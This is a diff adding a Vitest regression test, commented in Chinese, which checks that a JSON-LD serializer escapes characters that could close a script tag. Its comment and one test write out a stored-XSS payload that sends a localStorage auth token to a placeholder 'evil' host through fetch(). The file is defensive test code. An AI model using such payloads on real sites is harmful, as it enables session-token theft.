|
| 1 | +/** |
| 2 | + * INV-FE-001 回归测试:safeJsonLdString 必须把会闭合 <script> 块的字符 |
| 3 | + * 转义成 \uXXXX 字面 6 字符序列,让浏览器 HTML 解析器看不到 `<` `>`。 |
| 4 | + * |
| 5 | + * 攻击载荷: |
| 6 | + * bio = `</script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script>` |
| 7 | + * |
| 8 | + * JSON.stringify 默认输出原文,浏览器看到 `</script>` 就闭合 script block, |
| 9 | + * 接着把后续 `<script>` 当 inline JS 执行——典型 stored XSS。 |
| 10 | + * safeJsonLdString 把所有 `<` 转成字面 6 字符 `\u003c`,浏览器看不到原始 `<`。 |
| 11 | + */ |
| 12 | +import { describe, expect, test } from "vitest"; |
| 13 | +import { safeJsonLdString } from "../lib/json-ld"; |
| 14 | + |
| 15 | +describe("safeJsonLdString", () => { |
| 16 | + test("转义攻击载荷 </script> 不再出现在输出里", () => { |
| 17 | + const payload = { |
| 18 | + bio: `</script><script>fetch("https://evil")</script>`, |
| 19 | + }; |
| 20 | + const out = safeJsonLdString(payload); |
| 21 | + expect(out).not.toContain("</script>"); |
| 22 | + expect(out).not.toContain("<script>"); |
| 23 | + // 必须包含字面转义形式(6 字符) |
| 24 | + expect(out).toContain("\\u003c"); |
| 25 | + }); |
| 26 | + |
| 27 | + test("普通对象仍是合法 JSON(JSON.parse 能还原)", () => { |
| 28 | + const original = { |
| 29 | + name: "Involution Hell", |
| 30 | + url: "https://involutionhell.com", |
| 31 | + }; |
| 32 | + const out = safeJsonLdString(original); |
| 33 | + expect(JSON.parse(out)).toEqual(original); |
| 34 | + }); |
| 35 | + |
| 36 | + test("user-generated 字段含 < > & 都被转义", () => { |
| 37 | + const out = safeJsonLdString({ field: "a<b>c&d" }); |
| 38 | + expect(out).not.toContain("<"); |
| 39 | + expect(out).not.toContain(">"); |
| 40 | + // & 也应该被转义为字面 `\\u0026` |
| 41 | + expect(out).toContain("\\u0026"); |
| 42 | + }); |
| 43 | + |
| 44 | + test("JSON.parse 后还能拿到原始用户输入(往返保真)", () => { |
| 45 | + const original = { bio: `恶意</script>载荷 with <b> & 'quotes'` }; |
| 46 | + const out = safeJsonLdString(original); |
| 47 | + const parsed = JSON.parse(out); |
| 48 | + expect(parsed.bio).toBe(original.bio); |
| 49 | + }); |
| 50 | +}); |
0 commit comments